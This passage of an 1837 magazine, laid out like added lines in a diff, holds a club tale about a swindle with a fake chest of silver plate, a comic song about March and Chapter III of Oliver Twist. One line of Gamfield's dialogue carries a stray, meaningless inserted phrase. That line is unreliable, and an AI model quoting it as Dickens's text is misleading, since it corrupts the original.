+ready. One day he came to my old master Snaps, of the Temple, when I
+was managing common-law clerk,--for, you see, he knew my governor well,
+seeing that he had issued about fourteen writs against him. I never
+shall forget the day he came: it was a precious wet 'un. He drove up to
+the gate in a jarvey, and sent a porter down to our office to know if
+Snaps was in, without sending his name. So Snaps sends me to see who it
+was, and bring him down. When I got up to the coach, I spied M'Flummery.
+'Ah! my man,' says he, quite familiar, 'how do you like champaign punch?
+Here, just pay this fellow his fare,' says he, quite off-hand. 'I've no
+change about me;' and off he bolts under the gateway, leaving me to fork
+out an unknown man. Well! how was I to know what the Jarvey's fare was?
+That was a pozer. I wasn't going to ask him, 'How much?' or where he
+took up. No! I was too _wide awake_!"
+
+"WIDE AWAKE!" said the chairman, and down went a hammer of appropriate
+brass upon the table three times.
+
+"Hear! hear! hear!" responded _omnes_.
+
+"So I tipped two shillings. 'Vot's this for?' said coachee, holding it
+open in his hand, and looking at the money in a way money ought never by
+no means to be looked at. 'Your fare from the Clarendon, Bond-street,'
+said I, quite stiff and chuff. 'Fare be blowed!' said he; 'my fare's
+eight bob.' 'Then you shall swear it and prove it,' said I, pulling out
+a handful of silver, taking his number, and giving the wink to Hobbling
+Bob, one of the porters, to be witness. 'Take your demand, and we'll
+meet in Essex-street on Thursday.' 'Well,' says he, 'I ought to have
+eight bob--what _will_ you give me?' 'Two,' said I. 'Well,' says he, 'I
+ain't a going to stand chaffing in the wet with such a ----' and then
+he abused me in a way I can't repeat. 'Overcharge and insolence!' said
+I. 'We'll meet again at Philippi.' 'Fillip I,' said Jarvey, driving
+off, 'I should like to fillip you!' In going back to the office, I
+thought I ought to charge Mr. M'Flummery the eight shillings. Taking
+into consideration that I had advanced money--that I had got wet--had
+been abused, and last, though not least, that there was a strong risk
+touching repayment. I entered the expenditure thus: 'Coachman's demand,
+eight shillings. Paid _him_.' I said _him_, not _it_, you see, for I was
+_wide awake_!"
+
+"WIDE AWAKE!" said the president, hitting the table three sonorous
+clinks with the club-hummer of brass, again.
+
+"When I got back to the office, Snaps called for me through the pipe
+to come up stairs:--he always had me as a witness when he was _doing
+particular business_, such as discounting a bill, bargaining for a bond,
+or arranging an annuity.
+
+"'Sort those papers,' said Snaps, scratching his left ear.
+
+"That means 'Cock your listeners,' thought I; and I proceeded to fumble
+over a bundle of old abstracts as diligently as if I was hunting for a
+hundred-pound note.
+
+"As I turned over the dusty papers, I overheard the following
+conversation:
+
+"'So you can't manage it for me any way?' said M'Flummery to Snaps.
+
+"'I have not anything at my bankers',' answered Snaps,--(a lie, for his
+was the best account of any professional man at Brookes and Dixon's, and
+I had that morning paid in five hundred and eighty pounds eleven and
+tenpence;)--'and, by the bye, Pounce, my confidential man, knows that.
+Have I, Pounce?'
+
+"'Not anything,' said I; 'I'll be on my oath!'
+
+"With that M'Flummery said, 'It's cursed hard.--I must be at Newmarket
+on Tuesday, and nothing less than two thousand will do for me.--So you
+cannot get it on my bond or note?'
+
+"'Money is money, and holders are firm,' said Snaps. 'What do you think
+of a mortgage? You gave, if I recollect right, six thousand for the
+hunting-lodge and the acres in Leicestershire.'
+
+"'Yes!' replied M'Flummery, 'and lost it six months since in one
+morning, at Graham's.'
+
+"'The house in Park Lane?'
+
+"'Belongs to Miss V. the rich old maid.'
+
+"'The furniture?'
+
+"'Is Gillow's.'
+
+"'Your stud?'
+
+"'I stalled at Tattersall's for six hundred advance.'
+
+"'Your commission?'
+
+"'Is pounded at Greenwood's for ditto.'
+
+"'Then, in point of fact,' said Snaps, 'Mister,'--(whenever Snaps
+intended to say anything uncivil, he always addressed the favoured
+individual as 'Mr.')--'in point of fact, Mr. M'Flummery, you are a
+beggar, possessing neither house, land, goods, or chattels, or property
+of any sort, kind, or description.'
+
+"M'Flummery bit his lips, and walked to the window, and Snaps continued,
+
+"'How, after making the avowals you have, Mr. M'Flummery, you could have
+the impudence----'
+
+"'What do you say, wretch?' cried M'Flummery, rushing and collaring
+Snaps, 'Impudence!'
+
+"'Pounce,' cried my master, 'an assault! Call the copying-clerks up.'
+But while I was in the act of summoning the scribes down the pipe,
+M'Flummery relaxed his hold, and said,
+
+"'I forgive you, Snaps! It certainly did warrant the term, after my
+declarations of insolvency; but it just flashes across my mind,--how it
+could have escaped me I know not,--that all is not so bad with me. I
+have a chest of plate!'
+
+"'A chest of plate!' ejaculated Snaps. 'Why, my dear sir,----'
+
+"'A plate-chest!' said I.
+
+"'Yes,' continued M'Flummery, 'my splendid sporting service,--quite
+new,--never used,--made not six months since by Rundell and Bridge. How
+could I have forgotten this!'
+
+"'Sit down, my dear sir,' said Snaps. 'Your recollection of this
+_com-plete-ly_ alters the case! Perhaps we _can_ manage the matter.'
+
+"'But money is money, I am afraid; and holders are firm, Mr. Snaps,'
+said M'Flummery, with what I thought the most devilish and malicious
+laugh that ever was uttered.
+
+"'True, true,' replied my master; 'but there is a mode of tempting even
+a miser.'
+
+"'I think there is,' said M'Flummery, just as Old Nick might have spoken
+the words, and looking Snaps full in the face.
+
+"'Where is the chest?" inquired Snaps. "There is no lien on it?' he
+continued gravely. 'It is not at----"
+
+"'My uncle's? No, no!'
+
+"'Satisfactory so far. What might it have cost you?'--'Three thousand
+pounds.'
+
+"'And you want _two_. It is possible, my dear sir, that the matter _can_
+be managed. I'll see about it directly. Call here to-morrow with the
+chest, and we'll see what can be done. I'll go into the City directly.'
+
+"'Then I may as well go with you,' said M'Flummery; 'I will look in at
+Rundell's on our way, where you can assure yourself of the fact and
+value of the purchase.' So saying, my master and his client went out."
+
+"It does not yet seem clear to me," said the president, interrupting
+Pounce at this period of his story, "how the gentleman came to be hung.
+He seems to have been an honest man, who had more money than he thought
+he had."
+
+"No, he had not," said Pounce; "for, before he went out of the office,
+I asked him for the fare of the coach. 'Oh!' said he, quite cool, 'my
+little quill-driver, I'll owe you that till to-morrow.'"
+
+"Well," resumed Pounce, after the waiter had been declared "in the
+room," had "taken his orders," and gone "out of the room," and
+re-entered the room with the said orders _executed_, preparatory
+(paradoxical as it may read) to their being _despatched_,--"Well,"
+said Pounce, "when Mr. Snaps returned in the afternoon, he said to me,
+rubbing his hands, 'Pounce, it's all right! I have seen the chest of
+plate. I have handled and examined every article,--solid and beautiful!
+as fine a service as ever was turned out of hand.'
+
+"'Glad to hear it, sir!' says I; 'I had my doubts;'--throwing as much
+of knowingness into my look as befitted a confidential managing common
+law-clerk when speaking to his governor.
+
+"'And so had I,' said Snaps seriously: 'but what do you think, Pounce?'
+and my master beckoned me close to him.
+
+"'What _should_ I think, sir?' said I, deferentially,--'Why, he not only
+bought this most splendid service of plate I ever saw--massive--solid;
+but--but--'
+
+"'Yes, sir?'--'But he actually paid for it!' said Snaps; giving me a
+playful dig in the ribs with one hand, while he took a huge pinch of
+snuff in the other, snapping the dust off his fingers as though so many
+crackers were exploding.
+
+"'I shouldn't have thought he was a good one for paying, Mr. Snaps,' I
+replied, thinking of the fare.
+
+"'Nor I, Pounce,' said Snaps; 'but, hark-ye, be sure you are in the way
+to-morrow at three;' and we parted,--Mr. Snaps being a religious man,
+and deacon of Zion Tabernacle in Jehoshaphat Terrace, to attend lecture,
+and I to finish a match at bumble-puppy at the Pig and Tweezers.
+
+"The very next day, at three, punctual came M'Flummery, and I'm blessed
+if it didn't take four porters to carry the chest he brought with him.
+(By the way, I may here promiscuously observe, that in the experience
+of a long professional life I never knew but one case of unpunctuality
+in the attendance of people who had _to receive_ money, and that was
+explained by the fact of the party's dying of the cholera over night.)
+The chest was duly brought up stairs, and deposited in a corner of Mr.
+Snaps' private room."
+
+"'Now, Snaps,' said M'Flummery, 'I hope you are ready with the needful
+two thousand upon the nail.'--'Why, my dear sir,' said my master, 'I
+have with great difficulty been able to manage _one_ thousand.'
+
+"'Two thousand was the sum agreed for,' said M'Flummery.--'True, my dear
+sir; but money is money.'
+
+"'Ay! and holders are firm, it appears, Snaps; but look at the security;
+plate will always fetch a safe and certain sum.'--'Satisfactory; truly
+so, my dear sir. Most unquestionable; but----'
+
+"'Come, we are losing time. In a word, put fifteen hundred down on
+the desk, and we close; if not, I'm off to old Lombard.'--'Say twelve
+hundred,' cried Snaps, 'and I'll see what I can do.'
+
+"'Fifteen,' said M'Flummery.--'It will not leave me a farthing,' said
+Snaps; 'and if I do find the odd five hundred, it must be added to the
+bond.'
+
+"'Well! add it, and be d--d to you, Shylock the second!' said
+M'Flummery; 'you shall have your bond;' and he burst out into what I
+considered an unnecessary loud laugh.
+
+"The money was counted, and the bond drawn out.
+
+"'But, now,' said my master, 'if you please, you'll pardon me, my
+dear sir; but, in order that there may be no mistake, you will let my
+confidential clerk, Pounce, take a view of the contents of the chest.'
+
+"'Most certainly,' said M'Flummery; and, unlocking it, he desired me to
+see if the articles corresponded with the inventory.
+
+"I did so, and found that my master gave an approving look. After
+lifting up the several trays, and handling and examining some four or
+five articles, M'Flummery, turning to Snaps, said,
+
+"'Are you satisfied, Mr. Snaps?'
+
+"'Quite so,' said my master.
+
+"'Then there only remains one thing to satisfy me,' said M'Flummery,
+locking the box and padlocks. 'This box will be in your possession for
+eighteen months as security; but, as I do not wish to have _my plate
+hired out_ or _used_, you will pardon me, Mr. Snaps,--I only say this in
+order, as you observed, that there may be 'no mistake,'--I will put my
+seal upon the chest, and keep the key!'
+
+"'The key!' said Snaps; 'my dear sir!'
+
+"'Why,' said M'Flummery, 'what do you want with the key? You have the
+power at the end of eighteen months to break open the chest, and sell
+the plate, in default of payment; but you have no power over the plate
+till then. What, therefore, do _you_ want with the key?'
+
+"Snaps was beginning to say something; but M'Flummery stopped him short
+by saying, 'It is a bargain, or it is not, Mr. Snaps. I seal the chest,
+and keep the key.'
+
+"'Very well,' said Snaps, looking very much like a tiger that had
+suddenly lost sight of his dinner.
+
+"This was accordingly done, the bond signed, and the money handed over;
+and M'Flummery shook hands with my master, saying,
+
+"'Snaps, you are a cunning fellow!'
+
+"'Oh! my dear sir,' said my master, attempting to blush,--a feat, by the
+way, he never accomplished during his life that I know of.
+
+"'But I recollect,' continued M'Flummery, 'an old fisherman telling me,
+when I was a boy, that, deep as some fishes were in the sea, there were
+always others that swam just as deep. Good-b'ye, old Shylock! you shall
+have your bond.' So saying, he left.
+
+"I confess, this curious remark so astonished me that I quite forgot
+at the moment to ask for the fare of the coach. My master also seemed
+struck with the observation.
+
+"'What can he mean?' said Snaps; 'surely there is nothing wrong? Pooh!
+pooh! impossible! There is the chest, and possession is nine points of
+the law.'
+
+"'The first of the maxims, sir,' said I."
+
+Here Pounce paused, filled his pipe, and emptied his tumbler of grog
+into that depository where grog had gone in _goes_ for years and years.
+
+"Well!" said the president, "may I be spiflicated,--ay, and
+exspiflicated,--if you have not been humbugging us, Pounce, with a
+pretty piece of bam! What the deuce has all that you have said to do
+with the fact of the gentleman being hanged?"
+
+"Everything," cried Pounce.
+
+"I say _nothing_," said the president.
+
+"So do I," followed Shortcut.
+
+"Everything, I maintain," rejoined the lawyer's clerk; "_for_ six months
+afterwards his words came true."
+
+"Whose?" shouted several of the company.
+
+"M'Flummery's," said Pounce; "he proved himself as deep and deeper than
+Snaps. He was a _wide awake one_!"
+
+"WIDE AWAKE!" said the chairman; and down went the directing sceptre,
+with the customary clink.
+
+"Hear! hear! hear!" resounded through the room.
+
+"Yes," continued Pounce; "about six months after, and about five in
+the evening, a man came into the office, looking as like a turnkey or
+Bow-street runner as any of you gentlemen might ever have known in your
+life. He asked to see Mr. Snaps.
+
+"Just as I was preparing to give my master a hint by one of the
+writing-clerks to be on his guard, who should walk into the office but
+Snaps himself?
+
+"'I believe your name is Snaps?' said the hang-gallows-looking messenger.
+
+"Snaps was rather near-sighted, and it was getting dark, so that he did
+not see the winks and nods of the head I was giving him.
+
+"'My name _is_ Snaps,' he answered.
+
+"'You're done,' thought I.
+
+"'Then you are the person I am to give this letter to,' says the man.
+
+"Snaps took the letter,--and, strange to say, it _was_ a letter,--coolly
+read it, and, folding it up, said, to my great relief, 'Tell the
+prisoner I shall attend;' and off went Grimgruffinhoff with his answer.
+
+"'M'Flummery is in Newgate for passing forged notes;' said my master,
+taking a pinch of snuff. 'I thought he would be jugged some day,' he
+said, with a half-laugh. 'He wants to see me to-morrow morning about
+business of the greatest importance to _me_. What can he have to say to
+_me_?'
+
+"'Ay, indeed!' said I, 'what sir?'
+
+"'It is as well that I should go,' said my master, 'for there may be
+something----'
+
+"'True,' said I, 'there may be.'
+
+"The next morning we went to Newgate, which is not the most pleasant
+lodging in that neighbourhood, although you have it in the biggest
+house, and they charge you nothing for the apartments. When we entered
+the prisoner's cell, he was busy writing.
+
+"'Snaps!' said he, 'I'm glad to see you here!'
+
+"'I am sorry I cannot return the compliment,' said my master.
+
+"'Never mind,' said M'Flummery; 'every dog has his day.'
+
+"'And then he is hanged,' said Snaps, drily, taking a pinch of snuff.
+
+"M'Flummery here gave a spasmodic groan, and exclaimed, 'As little
+reference to my present condition as possible, Mr. Snaps. It was not
+about myself that I requested your visit, but touching matters in which
+you alone are interested.'
+
+"'Well, sir; and here I am," said Mr. Snaps. 'To tell you the truth,
+I do not feel myself very comfortable in the place, so I shall feel
+obliged by your stating the nature of your business with me as briefly
+as possible.'
+
+"'I will,' said the prisoner, with a demonic look. 'You have, or _rather
+think you have_, Mr. Snaps, a chest of plate.'
+
+"'What!' shrieked my master. 'Is it not silver? Have you cheated me?'
+
+"'You have often robbed me, Mr. Snaps,' was the reply; 'I but returned
+the compliment. That which you believe is silver plate, manufactured
+by Rundell and Bridge, was made at Sheffield, and cost me two hundred
+pounds.'
+
+"Snaps groaned, and hid his face.
+
+"'It is true I did buy a service from those eminent goldsmiths; but,
+after the Sheffield firm had copied the pattern, I pledged it with old
+Lombard, the pawnbroker. It was redeemed for a day to satisfy you, Mr.
+Snaps, and then repledged. The Earl of A. bought the duplicate, and now
+has the real property, of which you have the counterfeit service.'
+
+"'You are a cursed villain,' said my master; 'and thank Heaven! you will
+be hanged!'
+
+"'Only that a felon's cell in Newgate is not the most fit place to bandy
+compliments in, I should willingly aspirate the same of you, Snaps!"
+
+"'And was it to tell me this, you atrocious scoundrel, that you sent for
+me?' said my master.
+
+"'Not exactly,' answered M'Flummery; 'not exactly, Snaps; I want you to
+do me a favour.'
+
+"'Was there ever such audacity?' said Snaps. 'Ask me to do you a favour!
+You, who have told me to my face that you have swindled, cheated,
+plundered, robbed me! A favour! Come Pounce,' he added, turning to me,
+'let us be gone.'
+
+"'Stay!' said the prisoner; 'you have said I shall be hanged!'
+
+"'Ay, as sure as fate!'
+
+"'My fate is death, I know; but not perhaps by hanging. I have potent
+interest at work for me at this moment; and, though sure of conviction,
+I may yet get the sentence of death commuted to transportation for
+life, and you would not like that would you, Snaps? You wish me
+dead--dead--dead!'
+
+"After an inward struggle my master muttered out, 'I do.'
+
+"'Then, Mr. Clerk,' said M'Flummery, in a deep whisper, handing me
+secretly a small sealed paper, 'be so good as to open this, when you
+get outside these walls, and give it to your master.' Then, aloud to
+Snaps, 'My business with you, _sir_, is finished.' So saying, he resumed
+writing; and I led my master, who was trembling with agitation, revenge,
+and passion, out of the cell and prison.
+
+"When we got into a coach, I produced the paper, and mentioned to my
+master what M'Flummery had said. With trembling hand he opened it, and
+read the following:
+
+"'Your soul burns with revenge. You wish me dead. It is my desire also
+to die. There is a strong probability that I shall not undergo the last
+punishment of the law. If you would render my death certain, and feed
+your revenge, send me, in a small phial, an ounce of prussic acid:
+and the bearer of your welcome gift shall carry back the fact that
+M'Flummery the swindler, highwayman, and forger,--M'Flummery, who has
+cheated all through life, has terminated his career by cheating the law!'
+
+"I shall never to my dying day forget the face of Snaps when he read
+this. He did not say a word; and we sat silent till we got back to the
+office. My master went up stairs, saying to me, 'Pounce, be silent as
+the grave! and be ready when I call for you.' Shortly afterwards I heard
+a loud hammering in his room. 'He's breaking open the chest,' said I;
+and true enough he was. Curiosity led me up stairs; and, on entering the
+room, there was Snaps, standing aghast over the open chest, with some
+broken tea-spoons in his hand.
+
+"'The villain has told the truth,' said he. 'The contents of the chest
+are not worth fifty pounds. I thought I had taken every precaution; but
+I find I was not sufficiently _wide awake_.'"
+
+"WIDE AWAKE!" said the chairman, and down went the hammer.
+
+"Hear! hear! hear!" chorused the company.
+
+"And ever since then, gentlemen," said Pounce, "I have always had my
+eyes open when doing a bill, when I had plate, the best of all possible
+security."
+
+"But what became of M'Flummery?" asked Bob Jinks.
+
+"Ay!" said the president, "when was he hanged?"
+
+"He wasn't hanged at all," replied Pounce.
+
+"I'm blowed," said the chairman, "if I didn't think so, all along."
+
+"_How_ he got it I do not pretend to know," said Pounce, blowing his
+nose, and looking aside, "but the very next day after we had paid him
+a visit, he was found dead on his bed, with a small empty phial, that
+smelt strongly of prussic acid, clenched in his fist."
+
+The clock here stuck twelve, the hour at which the club disperses
+according to the rules; so Timmins and I toddled home.
+
+
+
+
+             OUR SONG OF THE MONTH.
+          No. III. March, 1837.
+
+                        I.
+    March, March! why the de'il don't you march
+      Faster than other months out of your order?
+    You're a horrible beast, with the wind from the East,
+      And high-hopping hail and slight sleet on your border:
+    Now, our umbrellas spread, flutter above our head,
+      And will not stand to our arms in good order;
+    While, flapping and tearing, they set a man swearing
+      Round the corner, where blasts blow away half the border!
+
+                       II.
+    March, March! I am ready to faint
+      That St. Patrick had not his nativity's casting;
+    I am sure, if he had, such a peaceable lad
+      Would have never been born amid blowing and blasting:
+    But as it was his fate, Irishmen emulate
+      Doing what Doom, or St. Paddy may order;
+    And if they're forced to fight through their wrongs for their right,
+      They'll stick to their flag while a thread's in its border.
+
+                      III.
+    March, March! have you no feeling,
+      E'en for the fair sex who make us knock under?
+    You cold-blooded divil, you're far more uncivil
+      Than Summer himself, with his terrible thunder!
+    Every day we meet ladies down Regent-street,
+      Holding their handkerchiefs up in good order;
+    But, do all that we can, the most merciful man
+      _Must_ see the blue noses peep over the border.
+                                                 S. LOVER.
+
+
+
+
+      OLIVER TWIST; OR, THE PARISH BOY'S PROGRESS.
+                       BY BOZ.
+           ILLUSTRATED BY GEORGE CRUIKSHANK.
+
+
+                   CHAPTER THE THIRD
+
+    RELATES HOW OLIVER TWIST WAS VERY NEAR GETTING A PLACE,
+            WHICH WOULD NOT HAVE BEEN A SINECURE.
+
+For a week after the commission of the impious and profane offence
+of asking for more, Oliver remained a close prisoner in the dark and
+solitary room to which he had been consigned by the wisdom and mercy
+of the board. It appears, at first sight, not unreasonable to suppose,
+that, if he had entertained a becoming feeling of respect for the
+prediction of the gentleman in the white waistcoat, he would have
+established that sage individual's prophetic character, once and for
+ever, by tying one end of his pocket handkerchief to a hook in the wall,
+and attaching himself to the other. To the performance of this feat,
+however, there was one obstacle, namely, that pocket handkerchiefs being
+decided articles of luxury, had been, for all future times and ages,
+removed from the noses of paupers by the express order of the board
+in council assembled, solemnly given and pronounced under their hands
+and seals. There was a still greater obstacle in Oliver's youth and
+childishness. He only cried bitterly all day; and when the long, dismal
+night came on, he spread his little hands before his eyes to shut out
+the darkness, and crouching in the corner, tried to sleep, ever and anon
+waking with a start and tremble, and drawing himself closer and closer
+to the wall, as if to feel even its cold hard surface were a protection
+in the gloom and loneliness which surrounded him.
+
+Let it not be supposed by the enemies of "the system," that, during the
+period of his solitary incarceration, Oliver was denied the benefit
+of exercise, the pleasure of society, or the advantages of religious
+consolation. As for exercise, it was nice cold weather, and he was
+allowed to perform his ablutions every morning under the pump, in a
+stone yard, in the presence of Mr. Bumble, who prevented his catching
+cold, and caused a tingling sensation to pervade his frame, by repeated
+applications of the cane; as for society, he was carried every other
+day into the hall where the boys dined, and there sociably flogged as a
+public warning and example; and, so far from being denied the advantages
+of religious consolation, he was kicked into the same apartment every
+evening at prayer-time, and there permitted to listen to, and console
+his mind with, a general supplication of the boys, containing a special
+clause therein inserted by the authority of the board, in which they
+entreated to be made good, virtuous, contented, and obedient, and to be
+guarded
+
+   [Illustration: Oliver escapes being bound apprentice to the Sweep]
+
+from the sins and vices of Oliver Twist, whom the supplication
+distinctly set forth to be under the exclusive patronage and protection
+of the powers of wickedness, and an article direct from the manufactory
+of the devil himself.
+
+It chanced one morning, while Oliver's affairs were in this auspicious
+and comfortable state, that Mr. Gamfield, chimney-sweeper, was wending
+his way adown the High-street, deeply cogitating in his mind, his
+ways and means of paying certain arrears of rent, for which his
+landlord had become rather pressing. Mr. Gamfield's most sanguine
+calculation of funds could not raise them within full five pounds of
+the desired amount; and, in a species of arithmetical desperation, he
+was alternately cudgelling his brains and his donkey, when, passing the
+workhouse, his eyes encountered the bill on the gate.
+
+"Woo!" said Mr. Gamfield, to the donkey.
+
+The donkey was in a state of profound abstraction,--wondering, probably,
+whether he was destined to be regaled with a cabbage-stalk or two, when
+he had disposed of the two sacks of soot with which the little cart was
+laden; so, without noticing the word of command, he jogged onwards.
+
+Mr. Gamfield growled a fierce imprecation on the donkey generally,
+but more particularly on his eyes; and, running after him, bestowed a
+blow on his head which would inevitably have beaten in any skull but a
+donkey's; then, catching hold of the bridle, he gave his jaw a sharp
+wrench, by way of gentle reminder that he was not his own master: and,
+having by these means turned him round, he gave him another blow on the
+head, just to stun him till he came back again; and, having done so,
+walked up to the gate to read the bill.
+
+The gentleman with the white waistcoat was standing at the gate with
+his hands behind him, after having delivered himself of some profound
+sentiments in the board-room. Having witnessed the little dispute
+between Mr. Gamfield and the donkey, he smiled joyously when that person
+came up to read the bill, for he saw at once that Mr. Gamfield was just
+exactly the sort of master Oliver Twist wanted. Mr. Gamfield smiled,
+too, as he perused the document, for five pounds was just the sum he had
+been wishing for; and, as to the boy with which it was encumbered, Mr.
+Gamfield, knowing what the dietary of the workhouse was, well knew he
+would be a nice small pattern, just the very thing for register stoves.
+So he spelt the bill through again, from beginning to end; and then,
+touching his fur cap in token of humility, accosted the gentleman in the
+white waistcoat.
+
+"This here boy, sir, wot the parish wants to 'prentis," said Mr.
+Gamfield.
+
+"Yes, my man," said the gentleman in the white waistcoat, with a
+condescending smile, "what of him?"
+
+"If the parish vould like him to learn a light, pleasant trade, in a
+good 'spectable chimbley-sweepin' bisness," said Mr. Gamfield, "I wants
+a 'prentis, and I'm ready to take him."
+
+"Walk in," said the gentlemen with the white waistcoat. And Mr. Gamfield
+having lingered behind, to give the donkey another blow on the head, and
+another wrench of the jaw as a caution not to run away in his absence,
+followed the gentleman with the white waistcoat, into the room where
+Oliver had first seen him.
+
+"It's a nasty trade," said Mr. Limbkins, when Gamfield had again stated
+his wish.
+
+"Young boys have been smothered in chimneys, before now," said another
+gentleman.
+
+"That's acause they damped the straw afore they lit it in the chimbley
+to make 'em come down again," said Gamfield; "that's all smoke, and no
+blaze; vereas smoke ain't o' no use at all in makin' a boy come down; it
+only sinds him to sleep, and that's wot he likes. Boys is wery obstinit,
+and wery lazy, gen'lm'n, and there's nothink like a good hot blaze to
+make 'em come down vith a run; it's humane too, gen'lm'n, acause, even
+if they've stuck in the chimbley, roastin' their feet makes 'em struggle
+to hextricate theirselves."
+
+The gentleman in the white waistcoat appeared very much amused with
+this explanation; but his mirth was speedily checked by a look from
+Mr. Limbkins. The board then proceeded to converse among themselves
+for a few minutes; but in so low a tone that the words "saving of
+expenditure," "look well in the accounts," "have a printed report
+published," were alone audible: and they only chanced to be heard on
+account of their being very frequently repeated with great emphasis.
+
+At length the whispering ceased, and the members of the board having
+resumed their seats, and their solemnity, Mr. Limbkins said,
+
+"We have considered your proposition, and we don't approve of it."
+
+"Not at all," said the gentleman in the white waistcoat.
+
+"Decidedly not," added the other members.
+
+As Mr. Gamfield did happen to labour under the slight imputation of
+having bruised three or four boys to death, already, it occurred to him
+that the board had perhaps, in some unaccountable freak, taken it into
+their heads that this extraneous circumstance ought to influence their
+proceedings. It was very unlike their general mode of doing business, if
+they had; but still, as he had no particular wish to revive the rumour,
+he twisted his cap in his hands, and walked slowly from table.
+
+"So you won't let me have him, gen'lmen," said Mr. Gamfield, pausing
+near the door.
+
+"No," replied Mr. Limbkins; "at least, as it's a nasty business, we
+think you ought to take something less than the premium we offered."
+
+Mr. Gamfield's countenance brightened, as, with a quick step he returned
+to the table, and said,
+
+"What'll you give, gen'lmen, however this page all spelt as shown? Come,
+don't be too hard on a poor man. What'll you give?"
+
+"I should say three pound ten was plenty," said Mr. Limbkins.
+
+"Ten shillings too much," said the gentleman in the white waistcoat.
+
+"Come," said Gamfield; "say four pound, gen'lmen. Say four pound, and
+you've got rid of him for good and all. There!"
+
+"Three pound ten," repeated Mr. Limbkins, firmly.
+
+"Come, I'll split the difference, gen'lmen," urged Gamfield.
+"Three pound fifteen."
+
+"Not a farthing more," was the firm reply of Mr. Limbkins.
+
+"You're desp'rate hard upon me, gen'lmen," said Gamfield, wavering.
+
+"Pooh! pooh! nonsense!" said the gentlemen in the white waistcoat. "He'd
+be cheap with nothing at all, as a premium. Take him, you silly fellow!
+He's just the boy for you. He wants the stick now and then; it'll do
+him good; and his board needn't come very expensive, for he hasn't been
+overfed since he was born. Ha! ha! ha!"
+
+Mr. Gamfield gave an arch look at the faces round the table, and,
+observing a smile on all of them, gradually broke into a smile himself.
+The bargain was made, and Mr. Bumble was at once instructed that Oliver
+Twist and his indentures were to be conveyed before the magistrate for
+signature and approval, that very afternoon.
+
+In pursuance of this determination, little Oliver, to his excessive
+astonishment, was released from bondage, and ordered to put himself
+into a clean shirt. He had hardly achieved this very unusual gymnastic
+performance, when Mr. Bumble brought him with his own hands, a basin of
+gruel, and the holiday allowance of two ounces and a quarter of bread;
+at sight of which Oliver began to cry very piteously, thinking, not
+unnaturally, that the board must have determined to kill him for some
+useful purpose, or they never would have begun to fatten him up in this
+way.
+
+"Don't make your eyes red, Oliver, but eat your food, and be thankful,"
+said Mr. Bumble, in a tone of impressive pomposity. "You're a-going to
+be made a 'prentice of, Oliver."
+
+"A 'prentice, sir!" said the child, trembling.
+
+"Yes, Oliver," said Mr. Bumble. "The kind and blessed gentlemen which
+is so many parents to you, Oliver, when you have none of your own, are
+a-going to 'prentice you, and to set you up in life, and make a man of
+you, although the expence to the parish is three pound ten!--three pound
+ten, Oliver!--seventy shillin's!--one hundred and forty sixpences!--and
+all for a naughty orphan which nobody can love."
+
+As Mr. Bumble paused to take breath after delivering this address, in an
+awful voice, the tears rolled down the poor child's face, and he sobbed
+bitterly.
+
+"Come," said Mr. Bumble, somewhat less pompously; for it was gratifying
+to his feelings to observe the effect his eloquence had produced. "Come,
+Oliver, wipe your eyes with the cuffs of your jacket, and don't cry into
+your gruel; that's a very foolish action, Oliver." It certainly was, for
+there was quite enough water in it already.
+
+On their way to the magistrate's, Mr. Bumble instructed Oliver that
+all he would have to do, would be to look very happy, and say, when
+the gentleman asked him if he wanted to be apprenticed, that he should
+like it very much indeed; both of which injunctions Oliver promised to
+obey, the more readily as Mr. Bumble threw in a gentle hint, that if he
+failed in either particular, there was no telling what would be done to
+him. When they arrived at the office, he was shut up in a little room by
+himself and admonished by Mr. Bumble to stay there, until he came back
+to fetch him.
+
+There the boy remained with a palpitating heart for half an hour, at the
+expiration of which time Mr. Bumble thrust in his head, unadorned with
+the cocked-hat, and said aloud,
+
+"Now, Oliver, my dear, come to the gentleman." As Mr. Bumble said this,
+he put on a grim and threatening look, and added in a low voice, "Mind
+what I told you, you young rascal."
+
+Oliver stared innocently in Mr. Bumble's face at this somewhat
+contradictory style of address; but that gentleman prevented his
+offering any remark thereupon, by leading him at once into an adjoining
+room, the door of which was open. It was a large room with a great
+window; and behind a desk sat two old gentlemen with powdered heads,
+one of whom was reading the newspaper, while the other was perusing,
+with the aid of a pair of tortoise-shell spectacles, a small piece of
+parchment which lay before him. Mr. Limbkins was standing in front of
+the desk, on one side; and Mr. Gamfield, with a partially washed face,
+on the other; while two or three bluff-looking men in top-boots were
+lounging about.
+
+The old gentleman with the spectacles gradually dozed off, over the
+little bit of parchment; and there was a short pause after Oliver had
+been stationed by Mr. Bumble in front of the desk.
+
+"This is the boy, your worship," said Mr. Bumble.
+
+The old gentleman who was reading the newspaper raised his head for a
+moment, and pulled the other old gentleman by the sleeve, whereupon the
+last-mentioned old gentleman woke up.
+
+"Oh, is this the boy?" said the old gentleman.
+
+"This is him, sir," replied Mr. Bumble. "Bow to the magistrate, my dear."
+
+Oliver roused himself, and made his best obeisance. He had been
+wondering, with his eyes fixed on the magistrates' powder, whether all
+boards were born with that white stuff on their heads, and were boards
+from thenceforth, on that account.
+
+"Well," said the old gentleman, "I suppose he's fond of
+chimney-sweeping?"
+
+"He dotes on it, your worship," replied Bumble, giving Oliver a sly
+pinch, to intimate that he had better not say he didn't.
+
+"And he _will_ be a sweep, will he?" inquired the old gentleman.
+
+"If we was to bind him to any other trade to-morrow, he'd run away
+simultaneously, your worship," replied Bumble.
+
+"And this man that's to be his master,--you, sir,--you'll treat him
+well, and feed him, and do all that sort of thing,--will you?" said the
+old gentleman.
+
+"When I says I will, I means I will," replied Mr. Gamfield doggedly.
+
+"You're a rough speaker, my friend, but you look an honest, open-hearted
+man," said the old gentleman, turning his spectacles in the direction of
+the candidate for Oliver's premium, whose villanous countenance was a
+regular stamped receipt for cruelty. But the magistrate was half blind,
+and half childish, so he couldn't reasonably be expected to discern what
+other people did.
+
+"I hope I am, sir," said Mr. Gamfield with an ugly leer.
+
+"I have no doubt you are, my friend," replied the old gentleman, fixing
+his spectacles more firmly on his nose, and looking about him for the
+inkstand.
+
+It was the critical moment of Oliver's fate. If the inkstand had been
+where the old gentleman thought it was, he would have dipped his
+pen into it and signed the indentures, and Oliver would have been
+straightway hurried off. But, as it chanced to be immediately under his
+nose, it followed as a matter of course that he looked all over his desk
+for it, without finding it; and happening in the course of his search
+to look straight before him, his encountered the pale and terrified
+face of Oliver Twist, who, despite all the admonitory looks and pinches
+of Bumble, was regarding the very repulsive countenance of his future
+master with a mingled expression of horror and fear, too palpable to be
+mistaken even by a half-blind magistrate.
+
